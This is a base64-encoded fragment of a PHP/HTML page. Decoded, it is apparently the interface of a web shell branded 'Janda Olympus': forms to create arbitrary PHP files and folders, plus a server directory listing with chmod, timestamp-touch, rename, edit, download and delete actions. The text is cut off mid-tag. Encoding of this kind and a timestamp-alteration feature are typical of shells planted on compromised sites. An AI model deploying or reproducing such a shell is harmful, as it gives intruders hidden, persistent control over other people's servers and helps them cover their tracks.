ICAgPCEtLSBuZXcgZmlsZSAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC0xMiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sbGFwc2UiIGlkPSJuZXdGaWxlQ29sbGFwc2UiIGRhdGEtYnMtcGFyZW50PSIjdG9vbHMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJyb3cganVzdGlmeS1jb250ZW50LWNlbnRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJjb2wtbWQtNSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9Im1iLTMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJmb3JtLWxhYmVsIj5GaWxlIE5hbWU8L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJmb3JtLWNvbnRyb2wiIG5hbWU9Im5ld0ZpbGVOYW1lIiBwbGFjZWhvbGRlcj0idGVzdC5waHAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPkZpbGUgQ29udGVudDwvbGFiZWw+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGV4dGFyZWEgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iNyIgbmFtZT0ibmV3RmlsZUNvbnRlbnQiIHBsYWNlaG9sZGVyPSJIZWxsby1Xb3JsZCI+PC90ZXh0YXJlYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IHRleHQtcHVycGxlIj5DcmVhdGU8L2J1dHRvbj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gbmV3IGZvbGRlciAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC0xMiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY29sbGFwc2UiIGlkPSJuZXdGb2xkZXJDb2xsYXBzZSIgZGF0YS1icy1wYXJlbnQ9IiN0b29scyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJvdyBqdXN0aWZ5LWNvbnRlbnQtY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImNvbC1tZC01Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ibWItMyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImZvcm0tbGFiZWwiPkZvbGRlciBOYW1lPC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iZm9ybS1jb250cm9sIiBuYW1lPSJuZXdGb2xkZXJOYW1lIiBwbGFjZWhvbGRlcj0iaG9tZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnV0dG9uIHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCB0ZXh0LXB1cnBsZSI+Q3JlYXRlPC9idXR0b24+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb3JtPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICAgICAgICAgICAgICA8IS0tIGZpbGUgbWFuYWdlciAtLT4KICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIG10LTMiPgogICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgY2xhc3M9InRhYmxlIHRhYmxlLWhvdmVyIHRhYmxlLWRhcmsgYWxpZ24tbWlkZGxlIHRleHQtcHVycGxlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0aGVhZCBjbGFzcz0iYWxpZ24tbWlkZGxlIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0id2lkdGg6MzUlIj5OYW1lPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJ3aWR0aDoxMCUiPlR5cGU8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IndpZHRoOjEwJSI+U2l6ZTwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0id2lkdGg6MTMlIj5Pd25lci9Hcm91cDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBzdHlsZT0id2lkdGg6MTAlIj5QZXJtaXNzaW9uPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJ3aWR0aDoxMyUiPkxhc3QgTW9kaWZpZWQ8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9IndpZHRoOjklIj5BY3Rpb25zPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90aGVhZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0Ym9keSBjbGFzcz0idGV4dC1ub3dyYXAiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gZW5kIHBocCAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZGlycyBhcyAkZGlyKSA6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIWlzX2RpcigkZGlyKSkgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGRpciA9PT0gJy4uJykgOiA/PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSBkaXJuYW1lKCRwYXRoKTsgPz4iIGNsYXNzPSJ0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LXB1cnBsZSI+PGkgY2xhc3M9ImZhIGZhLWZvbGRlci1vcGVuIj48L2k+IDw/PSAkZGlyID8+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkZGlyID09PSAnLicpIDogID8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89ICRwYXRoOyA/PiIgY2xhc3M9InRleHQtZGVjb3JhdGlvbi1ub25lIHRleHQtcHVycGxlIj48aSBjbGFzcz0iZmEgZmEtZm9sZGVyLW9wZW4iPjwvaT4gPD89ICRkaXIgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlIDogPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08Pz0gJHBhdGggLiAnLycgLiAkZGlyID8+IiBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1wdXJwbGUiPjxpIGNsYXNzPSJmYSBmYS1mb2xkZXIiPjwvaT4gPD89ICRkaXIgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGVuZGlmIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRleHQtcHVycGxlIj48Pz0gZmlsZXR5cGUoJGRpcikgPz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRleHQtcHVycGxlIj4tPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0ZXh0LXB1cnBsZSI+PD89IGdldE93bmVyKCRkaXIpID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0ZXh0LXB1cnBsZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gZW5kIHBocCAtLT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP2Rpcj0nLiRwYXRoLicmaXRlbT0nLiRkaXIuJyZhY3Rpb249Y2htb2QiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX3dyaXRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPGZvbnQgY29sb3I9ImxpbWUiPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoJHBhdGguJy8nLiRkaXIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvIHBlcm1zKCRwYXRoLicvJy4kZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfd3JpdGFibGUoJHBhdGguJy8nLiRkaXIpIHx8ICFpc19yZWFkYWJsZSgkcGF0aC4nLycuJGRpcikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9hPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0ZXh0LXB1cnBsZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9Ij9kaXI9Jy4kcGF0aC4nJml0ZW09Jy4kZGlyLicmYWN0aW9uPXRvdWNoIj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8c3BhbiBjbGFzcz0idGV4dC1wdXJwbGUiPicgLiBkYXRlKCJZLW0tZCBoOmk6cyIsIGZpbGVtdGltZSgkZGlyKSkgLiAnPC9zcGFuPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvYT4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoJGRpciAhPSAnLicgJiYgJGRpciAhPSAnLi4nKSA6ID8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJ0bi1ncm91cCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89ICRwYXRoID8+Jml0ZW09PD89ICRkaXIgPz4mYWN0aW9uPXJlbmFtZSIgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20gbXItMSB0ZXh0LXB1cnBsZSIgZGF0YS10b2dnbGU9InRvb2x0aXAiIGRhdGEtcGxhY2VtZW50PSJhdXRvIiB0aXRsZT0iUmVuYW1lIj48aSBjbGFzcz0iZmEgZmEtZWRpdCI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08Pz0gJHBhdGggPz4maXRlbT08Pz0gJGRpciA/PiZhY3Rpb249Y2htb2QiIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIG1yLTEgdGV4dC1wdXJwbGUiIGRhdGEtdG9nZ2xlPSJ0b29sdGlwIiBkYXRhLXBsYWNlbWVudD0iYXV0byIgdGl0bGU9IkNoYW5nZSBQZXJtaXNzaW9uIj48aSBjbGFzcz0iZmEgZmEtc3RhciI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSBtci0xIHRleHQtcHVycGxlIiBvbmNsaWNrPSJyZXR1cm4gZGVsZXRlQ29uZmlybSgnP2Rpcj08Pz0gJHBhdGggPz4maXRlbT08Pz0gJGRpciA/PiZhY3Rpb249ZGVsZXRlJykiIGRhdGEtdG9nZ2xlPSJ0b29sdGlwIiBkYXRhLXBsYWNlbWVudD0iYXV0byIgdGl0bGU9IkRlbGV0ZSI+PGkgY2xhc3M9ImZhIGZhLXRyYXNoIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWxzZWlmICgkZGlyID09PSAnLicpIDogPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iYnRuLWdyb3VwIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgZGF0YS1icy10b2dnbGU9ImNvbGxhcHNlIiBocmVmPSIjbmV3Rm9sZGVyQ29sbGFwc2UiIHJvbGU9ImJ1dHRvbiIgYXJpYS1leHBhbmRlZD0iZmFsc2UiIGFyaWEtY29udHJvbHM9Im5ld0ZvbGRlckNvbGxhcHNlIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSBtci0xIHRleHQtcHVycGxlIiBkYXRhLXRvZ2dsZT0idG9vbHRpcCIgZGF0YS1wbGFjZW1lbnQ9ImF1dG8iIHRpdGxlPSJOZXcgRm9sZGVyIj48aSBjbGFzcz0iZmEgZmEtZm9sZGVyLXBsdXMiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGRhdGEtYnMtdG9nZ2xlPSJjb2xsYXBzZSIgaHJlZj0iI25ld0ZpbGVDb2xsYXBzZSIgcm9sZT0iYnV0dG9uIiBhcmlhLWV4cGFuZGVkPSJmYWxzZSIgYXJpYS1jb250cm9scz0ibmV3RmlsZUNvbGxhcHNlIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSBtci0xIHRleHQtcHVycGxlIiBkYXRhLXRvZ2dsZT0idG9vbHRpcCIgZGF0YS1wbGFjZW1lbnQ9ImF1dG8iIHRpdGxlPSJOZXcgRmlsZSI+PGkgY2xhc3M9ImZhIGZhLWZpbGUtcGx1cyI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gZW5kaWYgLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGVuZGZvcmVhY2ggLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBlbmQgcGhwIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGRpcnMgYXMgJGRpcikgOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFpc19maWxlKCRkaXIpKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1lZGl0IiBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1wdXJwbGUiPjxpIGNsYXNzPSJmYSBmYS1maWxlLWNvZGUiPjwvaT4gPD89ICRkaXIgPz48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0ZXh0LXB1cnBsZSI+PD89IChmdW5jdGlvbl9leGlzdHMoJ21pbWVfY29udGVudF90eXBlJykgPyBtaW1lX2NvbnRlbnRfdHlwZSgkZGlyKSA6IGZpbGV0eXBlKCRkaXIpKSA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRleHQtcHVycGxlIj48Pz0gZnNpemUoJGRpcikgPz48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0ZXh0LXB1cnBsZSI+PD89IGdldE93bmVyKCRkaXIpID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGV4dC1wdXJwbGUiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPCEtLSBlbmQgcGhwIC0tPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9Ij9kaXI9Jy4kcGF0aC4nJml0ZW09Jy4kZGlyLicmYWN0aW9uPWNobW9kIj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfd3JpdGFibGUoJHBhdGguJy8nLiRkaXIpKSBlY2hvICc8Zm9udCBjb2xvcj0ibGltZSI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2VpZighaXNfcmVhZGFibGUoJHBhdGguJy8nLiRkaXIpKSBlY2hvICc8Zm9udCBjb2xvcj0icmVkIj4nOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBwZXJtcygkcGF0aC4nLycuJGRpcik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihpc193cml0YWJsZSgkcGF0aC4nLycuJGRpcikgfHwgIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9hPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0ZXh0LXB1cnBsZSI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGEgaHJlZj0iP2Rpcj0nLiRwYXRoLicmaXRlbT0nLiRkaXIuJyZhY3Rpb249dG91Y2giPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxzcGFuIGNsYXNzPSJ0ZXh0LXB1cnBsZSI+JyAuIGRhdGUoIlktbS1kIGg6aTpzIiwgZmlsZW10aW1lKCRkaXIpKSAuICc8L3NwYW4+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC9hPic7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICgkZGlyICE9ICcuJyAmJiAkZGlyICE9ICcuLicpIDogPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImJ0bi1ncm91cCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1lZGl0IiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSBtci0xIHRleHQtcHVycGxlIiBkYXRhLXRvZ2dsZT0idG9vbHRpcCIgZGF0YS1wbGFjZW1lbnQ9ImF1dG8iIHRpdGxlPSJFZGl0Ij48aSBjbGFzcz0iZmEgZmEtZmlsZS1lZGl0Ij48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08Pz0gJHBhdGggPz4maXRlbT08Pz0gJGRpciA/PiZhY3Rpb249cmVuYW1lIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSBtci0xIHRleHQtcHVycGxlIiBkYXRhLXRvZ2dsZT0idG9vbHRpcCIgZGF0YS1wbGFjZW1lbnQ9ImF1dG8iIHRpdGxlPSJSZW5hbWUiPjxpIGNsYXNzPSJmYSBmYS1lZGl0Ij48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj0iP2Rpcj08Pz0gJHBhdGggPz4maXRlbT08Pz0gJGRpciA/PiZhY3Rpb249Y2htb2QiIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIG1yLTEgdGV4dC1wdXJwbGUiIGRhdGEtdG9nZ2xlPSJ0b29sdGlwIiBkYXRhLXBsYWNlbWVudD0iYXV0byIgdGl0bGU9IkNoYW5nZSBQZXJtaXNzaW9uIj48aSBjbGFzcz0iZmEgZmEtc3RhciI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ij9kaXI9PD89ICRwYXRoID8+Jml0ZW09PD89ICRkaXIgPz4mYWN0aW9uPWRvd25sb2FkIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSBtci0xIHRleHQtcHVycGxlIiBkYXRhLXRvZ2dsZT0idG9vbHRpcCIgZGF0YS1wbGFjZW1lbnQ9ImF1dG8iIHRpdGxlPSJEb3dubG9hZCI+PGkgY2xhc3M9ImZhIGZhLWZpbGUtZG93bmxvYWQiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSIiIGNsYXNzPSJidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtIG1yLTEgdGV4dC1wdXJwbGUiIG9uY2xpY2s9InJldHVybiBkZWxldGVDb25maXJtKCc/ZGlyPTw/PSAkcGF0aCA/PiZpdGVtPTw/PSAkZGlyID8+JmFjdGlvbj1kZWxldGUnKSIgZGF0YS10b2dnbGU9InRvb2x0aXAiIGRhdGEtcGxhY2VtZW50PSJhdXRvIiB0aXRsZT0iRGVsZXRlIj48aSBjbGFzcz0iZmEgZmEtdHJhc2giPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwhLS0gZW5kaWYgLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8IS0tIGVuZGZvcmVhY2ggLS0+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kZm9yZWFjaDsgPz4KCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Rib2R5PgogICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgIDxjZW50ZXI+PGRpdiBjbGFzcz0idGV4dC1wdXJwbGUgbXktMSI+Q29weXJpZ2h0ICZjb3B5OyAyMDIwLTxzY3JpcHQ+ZG9jdW1lbnQud3JpdGUobmV3IERhdGUoKS5nZXRGdWxsWWVhcigpKTwvc2NyaXB0PiBKYW5kYSBPbHltcHVzPC9kaXY+PC9jZW50ZXI+CiAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgPC9kaXY+CiAgICAgICAgPHNjcmlwdC